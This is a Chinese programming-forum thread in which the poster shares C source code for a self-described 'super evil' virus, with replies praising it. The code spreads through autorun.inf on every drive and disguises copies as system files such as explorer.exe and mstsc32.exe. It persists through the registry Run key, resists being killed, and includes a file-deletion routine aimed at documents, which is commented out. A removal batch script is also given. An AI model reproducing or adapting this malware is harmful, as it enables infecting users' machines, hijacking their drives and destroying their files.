C语言制作的病毒源码(超邪恶)

  [复制链接]

该用户从未签到

累计在线
210分钟
发表于 2010-11-7 23:24:00 | 显示全部楼层 |阅读模式
本帖最后由 huanggai 于 2010-11-7 23:25 编辑

恶意代码部分已经屏蔽:
发布源码只为研究编程技术!
希望对大家有帮助!
即使是小病毒也不是太好编的
比如用C语言做的小病毒……
功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.EⅩE
c:\windows\system32\dllcache\explorer.EⅩE
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.EⅩE
3.病毒体c:\windows\explorer.EⅩE感染原explorer.EⅩE文件,使其不需要修改注册表做到启动时在

explorer.EⅩE前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)

本病毒到目前为止任何杀毒软件都无法将其查杀(07年的)
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.EⅩE /f
del c:\windows\wjview32.com
del c:\windows\explorer.EⅩE
del c:\windows\system32\dllcache\explorer.EⅩE
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.EⅩE
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.EⅩE c:\windows\explorer.EⅩE
copy c:\windows\system\explorer.EⅩE c:\windows\system32\dllcache\explorer.EⅩE
del c:\windows\system\explorer.EⅩE
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause

--------------------------------------------------------------------
核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.EⅩE更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)


/*
   SK-CHINA
   SVCHOST virus WRITE BY S.K
   Compiler:
   DEV-CPP 4.9.9.2
*/

/* SVCHOST.C    */
/* SVCHOST.EⅩE */
/* SVCHOST.COM */
#include<stdio.h> /*标准输入输出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM   5 /*删除文件数*/
/*====================================================================*/
/*
   文件AUTORUN.INF内容:
   1.自动运行SVCHOST.com
   2.覆盖默认打开命令,使用病毒体作为新的打开方式
   3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)

\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)

\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
   添加注册表项:
   1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
   函数:复制文件
   复制源:infile
   目的地:outfile
   成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
     FILE *input,*output;
     char temp;
     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
     {
       while(!feof(input))
       {
         fread(&temp,1,1,input);
         fwrite(&temp,1,1,output);
       }
       fclose(input);
       fclose(output);
       return 0;
     }
     else return 1;
}
/*=====================================================================*/
/*
   函数:通过explorer自动运行
   成功返回0,失败返回1,2
*/
int autorun_explorer()
{
     FILE *input;
     if((input=fopen("c:\\windows\\system\\explorer.EⅩE","rb"))!=NULL)
     {
       fclose(input);
       remove("c:\\windows\\$temp$");
       remove("c:\\windows\\system32\\dllcache\\$temp$");
       return 1;
     }
     copy("c:\\windows\\explorer.EⅩE","c:\\windows\\system\\explorer.EⅩE");
     rename("c:\\windows\\explorer.EⅩE","c:\\windows\\$temp$");
     rename("c:\\windows\\system32\\dllcache\\explorer.EⅩE","c:\\windows\\system32

\\dllcache\\$temp$");
     if(copy("SVCHOST.com","c:\\windows\\explorer.EⅩE")==0 && copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.EⅩE")==0)
       return 0;
     else
       return 2;
}
/*=====================================================================*/
/*
   函数:添加注册表项
   成功返回0,失败返回1
*/
int add_reg()
{
     FILE *output;
     if((output=fopen("$$$$$","w"))!=NULL)
     {
       fprintf(output,regadd);
       fclose(output);
       spawnl(1,"c:\\windows\\regedit.EⅩE"," /s $$$$$",NULL);
     }
}
/*=====================================================================*/
/*
   函数:复制病毒 + Autorun.inf自动运行
*/
void copy_virus()
{
     int i,k;
     FILE *input,*output;
     char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.EⅩE","c:\\windows\\explorer.EⅩE"};
     char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
     for(i=0;i<SVCHOST_NUM;i++)
     {
       if((input=fopen(files_svchost,"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<SVCHOST_NUM;k++)
         {
           copy(files_svchost,files_svchost[k]);
         }
         i=SVCHOST_NUM;
       }
     }
     for(i=0;i<SVCHOST_NUM;i++)
     {
       if((input=fopen(files_svchost,"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<24;k++)
         {
           copy(files_svchost,temp[0]);
           if((output=fopen(temp[1],"w"))!=NULL)
           {
             fprintf(output,"%s",autorun);
             fclose(output);
           }
           temp[0][0]++;
           temp[1][0]++;
         }
         i=SVCHOST_NUM;
       }
     }
}
/*=====================================================================*/
/*
   函数:制造垃圾文件
*/
void make_rubbish()
{
      int i;
      FILE *output;
      srand(0);
      for(i=0;i<RUBBISH_NUM;i++)
      {
        int n;
        char s[30];
        n=rand();
        sprintf(s,"C:\\DESTORY_感染_%d",n);
        if((output=fopen(s,"w"))!=NULL)
        {
          fprintf(output,"%ld%s",n*n,s);
          fclose(output);
        }
      }
}
/*=====================================================================*/
/*
   函数:删除文件
*/
void remove_files()
{
     long done;
     int i;
     struct _finddata_t ffblk;
     char *remove_files[3]={"*.txt","*.doc","*.xls"};
     for(i=0;i<3;i++)
     {
       if(_findfirst(remove_files,&ffblk)==-1) continue;
       while(!done)
       {
         remove(ffblk.name);
         _findnext(done,&ffblk);
       }
       _findclose(done);
     }
}
/*=====================================================================*/
/*
   主程序
   使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
     int contral=0;
     if(argc>1)
       if(strcmp(argv[1],"/s")==0)
         goto next1;
     autorun_explorer();
     spawnl(1,"c:\\windows\\system\\explorer.EⅩE",NULL);
     next1:
     add_reg();
     copy_virus();
     make_rubbish();
     /* remove_files(); */
     spawnl(1,"c:\\windows\\system32\\mstsc32.EⅩE"," /s",NULL);
     return 0;
}

最后希望更多热爱编程的朋友能一起交流!QQ414076009

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录

评分

1

查看全部评分

该用户从未签到

累计在线
8040分钟
发表于 2010-11-8 17:11:46 | 显示全部楼层
值得收藏  感谢分享 源码

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 12 反对 3

使用道具 举报

该用户从未签到

累计在线
690分钟
发表于 2010-11-8 10:04:13 | 显示全部楼层
LZ太有才了 这样滴 都能搞出来!!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 13 反对 2

使用道具 举报

该用户从未签到

累计在线
2180分钟
发表于 2010-11-8 09:05:42 | 显示全部楼层
不错,学习一下,顶一下

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 12 反对 3

使用道具 举报

该用户从未签到

累计在线
1785分钟
发表于 2010-11-8 14:04:32 | 显示全部楼层
路过 顶一个!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 11 反对 3

使用道具 举报

该用户从未签到

累计在线
1410分钟
发表于 2010-11-8 12:18:33 | 显示全部楼层
谢谢lz的分享   以后多多发这样的帖

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 11 反对 3

使用道具 举报

该用户从未签到

累计在线
9960分钟
发表于 2010-11-7 23:44:46 | 显示全部楼层
赞一个,希望这样的帖子不要被河蟹了,真的很有欣赏意义!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 4 反对 1

使用道具 举报

该用户从未签到

累计在线
180分钟
发表于 2010-12-8 13:13:08 | 显示全部楼层
厉害,C语言病毒不好写吧

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 1 反对 1

使用道具 举报

该用户从未签到

累计在线
14680分钟
发表于 2011-3-26 12:33:26 | 显示全部楼层
很想看看,到底有多**

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 1 反对 0

使用道具 举报

该用户从未签到

累计在线
2010分钟
发表于 2011-3-15 21:11:21 | 显示全部楼层
好,顶一下,学习学习!!!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 1 反对 0

使用道具 举报

该用户从未签到

累计在线
7195分钟
 楼主| 发表于 2011-3-13 23:51:37 | 显示全部楼层
顶起来!顶起来!顶起来!顶起来!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 1 反对 0

使用道具 举报

该用户从未签到

累计在线
210分钟
发表于 2010-11-11 15:28:25 | 显示全部楼层
用c可以这样 看了真的好好学学呀

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 反对

使用道具 举报

该用户从未签到

累计在线
5975分钟
发表于 2010-11-12 11:34:17 | 显示全部楼层
我也在看C方面的书,但是楼主这代码我还看不懂呢,看来要好好学习了。

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 反对

使用道具 举报

该用户从未签到

累计在线
1070分钟
发表于 2010-11-12 14:39:42 | 显示全部楼层
是个什么木马!!!!!!!!!!!!!!

立即注册!免费学习海量IT技术信息!!
您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册QQ登录
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表